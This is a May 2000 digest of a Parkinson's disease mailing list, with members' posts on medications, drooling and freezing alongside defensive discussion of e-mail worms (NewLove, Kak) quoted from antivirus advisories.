(including >non-PD meds) and any information your neurologist has given you >regarding the need to use another med. > >The NPF website is: > >http://www.parkinson.org/dhtml.htm > >Scroll down to " Ask Dr. Lieberman, NPF Medical Director" > >and just follow the instructions. > >My very best regards, >Kathrynne > >Irene wrote: >> >> I must start a new medicine to augment >> the Requip I have been on for 2 and one half years. Which is the lesser >> of two evils, amantadine or sinemet? Reading about the side effects of >> both, makes me want to play ostrich. Does anyone have a basis of >> comparison? >> irene c >> BETTER TO LIGHT THAT ONE LITTLE >> CANDLE111 > > > > > > > > >-- >Kathrynne Holden, MS, RD >Medical nutrition therapy for Parkinson's disease >Author: "Eat well, stay well with Parkinson's disease" >"Parkinson's disease: interview and assessment tools for nutrition >professionals" >"Risk for malnutrition and bone fracture in Parkinson'sdisease," J Nutr >Elderly. V18:3;1999. >http://www.nutritionucanlivewith.com/ ========================================================================= Date: Sun, 21 May 2000 11:00:22 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Charles T. Meyer, M.D." <[log in to unmask]> Subject: Viruses and Worms MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit From symantec web site " Learn More About Viruses and Worms What is the difference between a computer virus and a computer worm? Viruses are computer programs that are designed to spread themselves from one file to another on a single computer. A virus might rapidly infect every application file on an individual computer, or slowly infect the documents on that computer, but it does not intentionally try to spread itself from that computer to other computers. In most cases, that's where humans come in. We send e-mail document attachments, trade programs on diskettes, or copy files to file servers. When the next unsuspecting user receives the infected file or disk, they spread the virus to their computer, and so on. Worms, on the other hand, are insidious because they rely less (or not at all) upon human behavior in order to spread themselves from one computer to others. The computer worm is a program that is designed to copy itself from one computer to another over a network (e.g. by using e-mail). The worm spreads itself to many computers over a network, and doesn't wait for a human being to help. This means that computer worms spread much more rapidly than computer viruses. " http://www.symantec.com/avcenter/venc/data/wormvsvirus.html Marjorie: That makes sense. I have been using Outlook Express and got the Worm transmitted to me- although my wife uses Netscape and got the Iloveyou bug caught by her virus protection software. Who knows? Charlie ========================================================================= Date: Sun, 21 May 2000 12:09:17 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: John Walker <[log in to unmask]> Subject: CSS Internet News Virus Update Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable CSS Internet News Virus Update NewLove virus not nearly as widespread as LoveLetter New computer virus is dangerous but has not caused much real- world problems ESPOO, Finland, May 19th, 2000 - F-Secure Corporation (formerly Data Fellows) [HEX: FSC], a leading provider of security for mobile, distributed enterprises, is warning e-mail users of a new version of the VBS/LoveLetter virus. The new version is known as NewLove, and it carries much more dangerous payload than LoveLetter. However, NewLove is not widespread at all. F-Secure Anti-Virus detects and disinfects the virus, with the latest update available from www.F-Secure.com This worm spreads by e-mail, much like LoveLetter. However, the subject field of the e-mail and the name of the attached file are random. NewLove operates under Windows operating system and needs Microsoft Outlook to spread itself further via e-mail. F-Secure Anti-Virus detects and disinfects the virus, with the latest update available from www.F- Secure.com "This worm is too destructive to go very far," comments Mikko Hypponen, Manager of Anti-Virus Research at F-Secure Corporation. "When people were hit by LoveLetter, they didn't notice it until they were contacted by people who they had sent the virus to. With NewLove, your computer crashes immediatly and you loose your files. It's difficult to miss that." The spreading technique of the virus is tricky; it picks up a filename from the list of recently used files. This name could be, for example "Comments from Bob.txt". Then the virus would copy itself to a similar name: "Comments from Bob.txt.vbs" and e-mails that file as an attachment to people found from the address book. Subject of the e-mail would be "FW: Comments from Bob.txt". The result is quite realistic looking e- mail, which might be opened even by careful users. With default settings Windows would hide the ".vbs" extension of the attachment. If the user would open the file, the worm would immediatly e-mail itself further and then start to delete all accessible files on the local hard drive and in the company network. As a result, the computer crashes and won't boot. Currently, there's no information on where the virus may have originated from. There's no obvious clues in the source code of the virus. "The virus is programmed so that it keeps changing its code by adding random junk text," comments Mikko Hypponen. "This makes the virus larger and larger as it spreads - eventually making it so large it can't be e-mailed as an attachment any more. This is another factor that limits the spreading of this virus." "After all, technology is not all that matters for a virus to spread. It also needs to get lucky." A technical description of the virus is available in the F-Secure virus description database at:=20 http://www.F-Secure.com/v-descs/newlove.htm Sample pictures of the code of the VBS/LoveLetter worm is available in the F-Secure virus screenshots center at: http://www.F-Secure.com/virus-info/v-pics/ NAME:NewLove=20 VBS/NewLove is a destructive and polymorpic VBScript worm similar to=20 VBS/LoveLetter. Futher information about VBS/LoveLetter is available at=20 http://www.F-Secure.com/v-descs/love.htm=20 VARIANT:NewLove.A=20 VBS/NewLove.A propagates in email messages using Microsoft Outlook. The=20 message that it sends looks as follows:=20 From: name-of-the-infected-user To: random-name-from-address-book Subject: FW: (random_file_name.ext) Body: Attachment: (random_file_name.ext).vbs The worm replicates with a attachment with a random file name that has=20 ".vbs" added to it. For example, "REPORT.DOC.vbs" or "Information on=20 Jacks Birthday.txt.vbs". VBS/NewLove takes the random name from recently=20 open files directory. If there is no files in that directory, it=20 generates the name.=20 If the attachment is opened with the Notepad, the code of the worm can=20 be seen: =20 Then the worm sends itself to the each recipient in each Outlook address=20 book - just like VBS/LoveLetter.=20 VBS/NewLove.A copies itself to the Windows System and the Windows=20 directory with a random name. It adds itself to the registry with a=20 random key to the following registry hives:=20 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ Next the worm will go through all drives and all subdirectories. For=20 each file, the worm creates a new file using the same name with=20 additional extension ".vbs" and deletes the original file.=20 After this the machine can not boot any longer.=20 VBS/NewLove.A was reported to be somewhat in-the-wild on 19th of May,=20 2000. Detection of this worm was added for F-Secure Anti-Virus on 11:00=20 GMT 19th of May, 2000.=20 [Analysis: Katrin Tocheva and Sami Rautiainen, F-Secure] =A0 On-line Learning Series of Courses http://www.bestnet.org/~jwalker/course.htm Member: Association for International Business ------------------------------- Excerpt from CSS Internet News (tm) ,-~~-.____ For subscription details email / | ' \ [log in to unmask] with ( ) 0 SUBINFO CSSINEWS in the \_/-, ,----' subject line. =3D=3D=3D=3D // / \-'~; /~~~(O) "On the Internet no one / __/~| / | knows you're a dog" =3D( _____| (_________| http://www.bestnet.org/~jwalker ------------------------------- ========================================================================= Date: Sun, 21 May 2000 09:39:25 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: How *Worms* Are Transmitted Was: Re: Maybe: Non PD In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 21 May 2000, at 11:34, Marjorie L. Moorefield wrote: > I was reading the other day, that only those who are using Outlook Express, > or MS Outlook as their mailers, are being hit. > That is essentially correct as these worms usually run a script that only *works* on PCs running MS Windows 95 or 98 and using MS Outlook Express as their mailer. Helen Johns uses Microsoft Outlook Express. > > I use Eudora 4.3.1 and did not receive those attachments, even though > I read all 4 of Helen's posts. > Oh, you received 'em all right Marjorie... But, if you read them with Eudora and didn't open them in your browser and don't have MS Outlook on your machine in any case then the script embedded in the HTML source code of Helen John's messages would be *transparent* to you. > > Also, there is the possibility that your ISP has put something on their > network to stop it. > Wishful thinking I believe. > > For all of our sakes, I hope its the latter. > > I'm just guessing, I know there are people out there with more knowledge > about computer inner workings than I have. > So I trust you'll tell all of us. > Yep, just did. More below... > > As Ever, > Marjorie, > just another retired reference librarian with PD > 67/12 Charlie and Connie both have Outlook Express 5.0 as their e-mail client. Sylvia uses Mozilla 4.72 and Win 98. Lynne uses Mozilla 4.51 and Win 95. All of them sent plain text messages to the List. No multi-part = no HTML, no script, no worm. The *worm* is contained in a script embedded in the HTML source code of multi-part messages. When you open these messages, you *run* the script. Multi-part message = *could* contain a dangerous script in HTML. No multi-part = no HTML, no script, no worm. That is why Dan Parker said... "If everyone switched their e-mail programs to "text only, no viruses would be transmitted through the listserv. This service won't be good for anybody, if it causes computers to crash. If you are recklessly slinging computer viruses around, you are not being a good neighbor. Today, luckily, my Norton Anti-virus software again stopped four virus-loaded files from this listserv, and that is very scary. What if a brand new virus gets through before I download the latest anti-virus definition? If you don't know how to make your e-mails text only, please find out how." AMEN New worms and virus's will get through before we download the latest anti-virus. (They can't make an anti-virus until some folks report a *virus*). My defense is that I don't use Outlook Express, (I use Pegasus) and I never open multi-part messages with my browser (default reader is set as Pegasus). So far I've been lucky... :-) Best regards to all of you ............ murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Sun, 21 May 2000 10:20:32 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: CSS Internet News Virus Update In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: Quoted-printable On 21 May 2000, at 12:09, John Walker wrote: > CSS Internet News Virus Update > > NewLove virus not nearly as widespread as LoveLetter > SNIP The *Worm* Helen Johnsd sent was not NewLove John... It was Kak. http://www.f-secure.com/v-descs/kak.htm =A0F-Secure Virus Information Pages NAME: Kak ALIAS: Wscript.KakWorm, KakWorm Kak is a worm that embeds itself to every email sent from the infected sys= tem, without any attachment, like BubbleBoy does. For further information about= BubbleBoy, see the description: http://www.F-Secure.com/v-descs/bubb-boy.htm Kak is written in JavaScript and it works on both English and French versi= ons of Windows 95/98 if Outlook Express 5.0 is installed. It does not work in = a typical Windows NT installation. The worm uses a known security vulnerability in Outlook Express. Once the user receives an infected email message, and opens or views the message in the preview pane, the worm creates a file "kak.hta" to the Windows Startup directory. Next time when the system is restarted, the worm activates. It replaces "c:\autoexec.bat" with a batch file that deletes the worm from the Startup= directory. The original "autoexec.bat" is copied to "C:\AE.KAK". It also modifies the message signature settings of Outlook Express 5.0 replacing the current signature with an infected file, "C:\Windows\kak.htm= ". Therefore every message sent with Outlook Express after that will contain the worm. Next it modifies the Windows registry in a such way that it will be execut= ed in every system startup. The key it adds to the registry is: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cAg0u The .hta file that the virus creates and will be executed is saved to Wind= ows System directory. In first day of each month if the number of hours is mor= e than 17 (i.e. 6pm or later), the worm will show an alert box with the foll= owing text: Kagou-Anit-Kro$oft say not today! Then the worm causes the Windows to shut down. F-Secure Anti-Virus detects the worm. When the worm has been detected, the user should delete the following files, if they exist: C:\Windows\kak.htm C:\Windows\System\(filename).hta where (filename) is a variable, and it changes from one system to another C:\Windows\Start Menu\Programs\Startup\kak.hta C:\Windows\Menu Demarrer\Programmes\Demarrage\kak.hta The "autoexec.bat" can be restored by copying the "C:\AE.KAK" to "C:\autoexec.bat". Kak uses a known security hole in Microsoft Outlook Express to create the local HTA file. If active scripting is disabled from Outlook Express, then the worm will n= ot work. Microsoft has more information on this problem available at: http://www.microsoft.com/Security/Bulletins/MS99-032faq.asp They have also a patch to fix this problem at http://www.microsoft.com/security/Bulletins/ms99-032.asp [Analysis: Katrin Tocheva and Sami Rautiainen, F-Secure]=A0 *************************************=A0 =A0 All the best John & everyone .......... murray ps: I like your "Snoopy" ASCII art signature... [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Sun, 21 May 2000 10:31:15 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: Viruses, worms, and etc. In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Sun, 21 May 2000 10:57:32 -0400 Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: Lynne <[log in to unmask]> Subject: Re: Viruses, worms, and etc. To: [log in to unmask] > Does antivirus software usually tell you when a virus or worm is > detected? I installed a copy of Norton AntiVirus2000 version 6 last > week and I usually have it on "Auto-Protect" while reading email. I > also do periodic scans of my computer. So does anyone know why my > antivirus software hasn't notified me about a worm or virus while > others on the listserv have gotten such notices? Thanks. > Lynne, I use the same anti-virus software that you use. It has notified me several times, but both of these came when I tried to copy a floppy disk which contained the transcription of a legal deposition which I had given. It turned out later that the court reporting service had re- used a diskette which contained a virus. I have not had a problem with the most recent worms for several reasons; one being that I will not open attachments unless I know what they are in advance; and then, I will scan them with Norton before opening them. Also, I refuse to use Microsoft mailers (Outlook or Outlook Express), and use Pegasus Mail instead. Pegasus does not seem to be susceptible to the current strong of bugs. Just make sure that you keep your anti-virus software running, and perform frequent updates and scans. Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Sun, 21 May 2000 13:45:43 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Marjorie L. Moorefield" <[log in to unmask]> Subject: Netsurfer:Non PD Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Among the many Newsletters I receive , one of my favorites is the weekly publication Netsurfer Digest. It contains an enormous amount of information, including book reviews!!! I'm sending ,to all of you, what they said. If anyone wants to subscribe to it please contact me off line, and I'll give you the information, its FREE, To: Subscribers of Netsurfer Digest:; Subject: Netsurfer Digest: Vol. 06, #17 NETSURFER DIGEST More Signal, Less Noise Volume 06, Issue 17 Tuesday, May 16, 2000 BREAKING SURF Severe Windows Security Bug and Fix This bug is quite bad, and has been known since last year. It became more of an issue after somebody figured out you could exploit it to propagate computer infections in the same manner as the ILOVEYOU worm, only with much more destructive results. Any PC running Internet Explorer 5.0 and/or Office 2000 can be attacked with e-mail attachments, even if the recipient does not open said attachments. You don't even have to be using Internet Explorer: just having it installed with default security settings makes you vulnerable. The techies among you can see the horror of the situation. Fortunately, a fix will patch the hole in under five minutes. Make sure all the Windows machines in your care apply the patch immediately. Incidentally, Microsoft has finally responded to this class of e-mail-delivered worms by redesigning how the Outlook e-mail client deals with attachments. PCWorld has the story. Bug: <http://www.microsoft.com/technet/security/bulletin/ms99-032.asp>http://www.microsoft.com/technet/security/bulletin/ms99-032.asp Fix: <http://www.microsoft.com/msdownload/iebuild/scriptlet/en/scriptlet.htm>http://www.microsoft.com/msdownload/iebuild/scriptlet/en/scriptlet.htm Outlook: <http://www.officeupdate.microsoft.com/2000/articles/out2ksecFileTypes.htm>http://www.officeupdate.microsoft.com/2000/articles/out2ksecFileTypes.htm PCWorld: <http://www.pcworld.com/pcwtoday/article/0,1510,16721,00.html>http://www.pcworld.com/pcwtoday/article/0,1510,16721,00.html As Ever, Marjorie 67/12 <[log in to unmask]> Fort Lauderdale, Florida ========================================================================= Date: Sun, 21 May 2000 14:51:03 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: MJF website opens May 23rd Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" http://www.michaeljfox.com/ This is the future home of the official Michael J. Fox Foundation for Parkinson's Research Website. Michael would like all of you to know how grateful he is for the tremendous outpouring of affection he has received. To find out what you can do to support Parkinson's Research, and how you can join us in our push toward a cure, please check back on our official launch date, Tuesday, May 23, 2000. If you'd like to make a donation in the meantime, please forward them to: Michael J. Fox Foundation for Parkinson's Research 840 Third Street Santa Rosa, California, U.S.A. 95404 Email questions, comments, etc. to [log in to unmask] janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Sun, 21 May 2000 21:03:23 +0200 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Chris van der Linden <[log in to unmask]> Subject: Re: Any help for drooling ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit As I have mentioned before a new treatment for drooling in PD exists. Since several months I inject with a small needle botulinum toxin in the parotid glands, which inhibits the release of saliva; it will give you a dry mouth, but it surely works in my patients. Not painful and no side effects. Off course you have to seek the advice of a movement disorder specialist. It is quite a new treatment so many doctors will not have heard about it yet. Botulinum toxin is manufactured by Allergan, Inc USA. Good luck and best regards, Chris van der Linden St. Lucas Hospital Ghent Movement Disorder Center Ghent BELGIUM ========================================================================= Date: Mon, 22 May 2000 06:38:19 +1000 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Barry Black <[log in to unmask]> Subject: Re: Any help for drooling ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit keep the head up so drainage is down the throat not out of mouth ----- Original Message ----- From: Rose Rowton <[log in to unmask]> To: <[log in to unmask]> Sent: Saturday, May 20, 2000 12:16 Subject: Any help for drooling ? > Hi, > My husband has PD and has so much saliva in his mouth, he drools constantly > wetting the front of his shirts, and if he bends over it just comes right out > of his mouth. He said he cannot control it. Does anyone know if something > can be done about it. > Thanks in advance > Rose > ========================================================================= Date: Mon, 22 May 2000 09:43:39 +1000 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: fleming <[log in to unmask]> Subject: freezing MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear Listmembers, Would some kind member point me in the right direction to get some advice on freezing which I will print for a fellow PWP. Thank you. ========================================================================= Date: Sun, 21 May 2000 16:50:23 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: Re: MJF website opens May 23rd In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" This was the address I used, and got the automatic response. Perhaps when the site is "up" it will be possible to get through better. >Email questions, comments, etc. to [log in to unmask] Camilla Flintermann, CG for Peter 82/70/55 Oxford, Ohio http://www.newcountry.nu/pd/members/camilla/one.htm <[log in to unmask]> also, on PDWebring at http://members.tripod.lycos.nl/genugten/flinterm.htm "Ask me about the CARE list for Caregivers of Parkinsonians ! " And visit the CARE webring at http://www.crosswinds.net/~caregivers/index.html ========================================================================= Date: Sun, 21 May 2000 14:14:30 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: freezing Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 22 May 2000, at 9:43, fleming wrote: > Dear Listmembers, > > Would some kind member point me in the right direction to get some > advice on freezing which I will print for a fellow PWP. > > Thank you. Here is the URL for Phil Tompkins' PD Index - a great site IMHO http://www.pdindex.com/pdindexf.htm Scroll down and check Falls, Freezing, and Freezing, tips and suggestions. Phil's got the *stuff* you're lookin' for ......... http://www.pdindex.com/ Everyone should have Phil's site in their "favourites" or "bookmarks" All the best ............ murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Sun, 21 May 2000 17:34:47 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Barbara Blake-Krebs <[log in to unmask]> Subject: Abusing meds - deception and/or confusion (long) MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable This is a true story -- a very odd situation I am presently caught up in= . =20 My husband seemed uncomfortable with the telephone conversation he was=20 having...I picked up another phone, and heard the home health-care=20 administrator tell him with conviction, "Your wife abuses her medications.=20= =20 She sneaks extra doses from the kitchen during the day, and doesn't tell=20 anyone. She ends up taking too much. It's what caused her recent violent= =20 dyskinesias that became nearly fatal." While it is quite possible that an excess of Sinemet is what poisoned my= =20 system, caused renal failure and near death, I have always been inclined=20 towards taking the LEAST med (esp. Sinemet) that I could to control my=20 symptoms, and have been inclined to s-t-r-e-t-c-h the time between doses --=20 certainly not "sneak" extra pills. =20 Nevertheless, one thing the home-care administrator was right about is=20 the amount of Sinemet I was taking before my hospitalization was at an=20 all-time high but within prescribed limits (6-10/day). I had no sense of=20 pendng near-disaster despite multiple warning signs listed below that neithe= r=20 Fred nor I heeded beyond mentioning in my quarterly PD checkup.. In the=20 future, we hopefully will be more aware and assertive.. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D WARNING SIGNS MEDS WERE OUT OF WHACK - PRE-HOSPITALIZATION 1. The new prescription for 6-10 Sinement itself. This represented a=20 big jump in my daily intake, and also a lack of direction. We should have=20 been raising questions and alarms unceasingly with my doctor. the list, each= =20 other, local support group members, etc. =20 2. Significant change in med (and/or symptom) pattern. Altho I was=20 first diagnosed with PD in 1984, the first med I was given that effectively=20 addressed r. arm tremor and neck pain was 25 mg Elavil/bedtime started abt.=20 1987 and remaining my sole nite-time med at the same dosage until abt. 1998.= =20 A year later in 1988 I began 25/100 Sinemet -- titratng up to 6 =20 1/2-Sinemet/daytime. Abt. 1988 my Elavil dosage was increased to 100 mg, and later reduce= d=20 to 75 mg to 50 mg. Abt. 1999 is when painful throat constriction started=20 becoming a problem, particularly after taking the Elavil. =C7onstriction=20 started waking me many nights with a sense of fear -- my gut reaction was to= =20 take two (2) Sinemets - this did relieve the throat pain but frequently kept= =20 me awake. (At the time, I normally tool 2 Sinemet 3-4 times/day). This=20 nite-time Sinemet bothered me because it disrupted my sleep pattern and my=20 med pattern!! 3. Frequent insomnia. While I had had occasional bouts of insomnia=20 before, I now turned into an al-nite Solitaire freak. Instead of reporting= =20 this unheaIthy sleep deprivation to a doctor, I started looking forward to=20 this new ritual. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D POST-HOSPITALIZATION WARNING SIGNS/SYMPTOMS What concerns us is my post-hospital med regime has yet to be ironed out= .=20 e.g. I have frequent spells of my throat constricting, dystonia, dyskinesia= ,=20 etc. \(esp. st nite) Since the end of April when I was discharged from the= =20 nursing home, I have been consulting quite often with our local PD clinic=20 staff, finally changing my Family Practitioner (to one more caring and=20 involved), and am trying to make an appt. with a throat specialist at=20 KUMC's ENT clinic. Meds (post-hospitalizaton) as of May 3, 2000 6 a.m. 1-1/2 25/100 Sinemet 1 - 200 mg Comtan 1 - 200 mg Bromocriptine 9 a.m. 1- 25/100 Sinemet 1 - 200 ng Comtan 10 a.m. 1 - 200 mg Bromocriptine noon 1 - 25/100 Sinemet 1 - 200 mg Comtan 2 p.m. 1 - 200 mg Bromocriptine 3 p.m. 1 - 25/100 Sinemet 1 - 200 mg Comtan 6 p.m. 1/2 -25/100 Sinemet 1 - 200 mg Comtan =20 1 - 200 mg Bromocriptine ----------------------------------------------------------------------------= -- ------- I stuck religiously with the above schedule at the nusing home -- both=20 Fred and I prodding staff to deliver pills on time. I am still on this=20 schedule daytimes, *except we are trying to reduce the 6 a.m. Sinemet from=20 1-1/2 to 1 per MDS. Due to insomnia from a very tight throat at night, my MDS made the=20 following additions at my post-hosp. appt. 5/3/00. I think of them as=20 "wild cards" that are hard to manage or time at nite and which have an=20 unpredictable effect how the day dosages will work. =20 (Added 5/3/00) 6 p.m. - 6 a.m. 3 1/2-25/100 Sinemet (as needed) 2 .5 mg Ambien - sedative (as needed) As needed 1/2 - 0.5 Lorazepan - anxiety relief (Antivan) (every 8 hrs.) =20 =20 After nearly 3 weeks I DO feel that I need more help in when and how t= o=20 use these meds . While I have appts. slated with my doctors, I am weary of=20 the almost constant pain and exertion. Thus I had phoned this administrator= =20 Thursday to see if any of their home-care personnel were suitably trained to= =20 act as observers for a 24 - 48. My idea was that they could provide a more=20 accurate diary than either I or my husband could. =20 But, before pursuing this possibility, the administrator and I ar e goin= g=20 to have to come to some understanding whether she is dealing with a case of=20 deception or confusion. MEDS =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D Pre-Hospitalization | Post-hospitalization =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D 6-10 Sinemet 25/100 5 - 6-1/2 Sinemet 25/100 Tasmar 5 Comtan 200 mg 3 Mirapex 4 Bromocriptine 200 mg 1 Elavil 25 mg 1-2 Ambien .5 xanax atavan =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Any thoughts? Regards,=20 Barbara Blake-Krebs 59/44 [log in to unmask] ========================================================================= Date: Thu, 18 May 2000 09:04:17 +0200 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: D J Roll <[log in to unmask]> Subject: Re: Cost of Meds MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit If this were true, we in Africa would be paying a lot less than we do for drugs. Unless of course Africa is the exception. Regards DaveSA 46/Dx44/Since40 http://skybusiness.com/rollpaces >------------ opportunity knocks -----------< >-- sign up for a great business opportunity --< ----- Original Message ----- From: "Camilla Flintermann" <[log in to unmask]> To: <[log in to unmask]> Sent: Tuesday, May 16, 2000 10:30 PM Subject: Cost of Meds > This is something we've discussed as lot, and in today's paper there was an > interesting clue as to why Rx drugs cost more in the USA. The writer, > Gwynne Dyer, as London-based independent journalist, says that the drug > companies divide the world into different price zones based on average > middle-class incomes in a particular area. "Americans...pay about 3 times > as much as Poles for the same drugs, and Poles pay around 3 times as much > as Indians." He adds, "To maintain the integrity of this system, holders > of drug patents forbid any international trade that crosses the borders of > these zones." > Perhaps this does help explain the price differences we have noted and > complained about? > > Camilla Flintermann, CG for Peter 82/70/55 > Oxford, Ohio > http://www.newcountry.nu/pd/members/camilla/one.htm > <[log in to unmask]> > > also, on PDWebring at > http://members.tripod.lycos.nl/genugten/flinterm.htm > > "Ask me about the CARE list for > Caregivers of Parkinsonians ! " > And visit the CARE webring at > http://www.crosswinds.net/~caregivers/index.html > ========================================================================= Date: Sun, 21 May 2000 21:50:56 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: John Cottingham <[log in to unmask]> Subject: P-I-E-N-O Virus Information(Beware of Funny Floppies) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" "No Mother! My computer doesn't need medicine because I am connected to the internet, regardless of what you heard on the news". To a 90 year old...hearing the word virus...(the noun) means something that needs medicine to cure... In the age of technobabble virus (the adjective) means something that when unleashed tends to be destructive. You can avoid any viruses inadvertantly sent by list members if you will click on the Suspend Parkinsn Mail button on the Parkinsn Email List Message page and keep up with your parkinsn mail by reading it on P-I-E-N-O. You will still be able to post messages but you mailbox will be free of inadvertant viruses. http://www.parkinsons-information-exchange-network-online.com Computer viruses are people made for many reasons. Most slip through poorly designed programs...to corrupt files or the operating system of computers. Outlook Express and Internet Explorer are two examples of poorly coded programs. I recently received two unsolicited emails by persons clicking on the words John Cottingham on my many pages of P-I-E-N-O and Homeboys Adventures in Australia. These emails had code attached that if I responded would have sent my Outlook Express address book...to an insurance salesman. :( I know a bit of code and saw what it did. That ploy didn't work because: 1. I don't use Outlook Express as my mail program. 2. I don't respond to medical questions, medicine information questions or unsolicited email. 3. If I had replyed...because I wasn't using Outlook express nothing would have happened...none of my personal data would have been transmitted to the sneaky sender. How do our computers get infected with viruses? Viruses can be transmitted by putting someone else's floppy disk into your computer. Nothing is really safe...even if you know the person..because perhaps the infection got transmitted to them by email..or using another persons floppy disk. Everyone now days belongs to a mailing list..funny or otherwise. Every funny gets passed around the office lan...to friends and relatives. Some of these can have attachments...completely unrelated to the mail. It is in these attachments with .doc, xls, ppt etc where the trojan horse viruses hide. Email with catchy subject lines...like I Love You...tend to make you want to open what ever the email contains. What do you do if someone tells you that 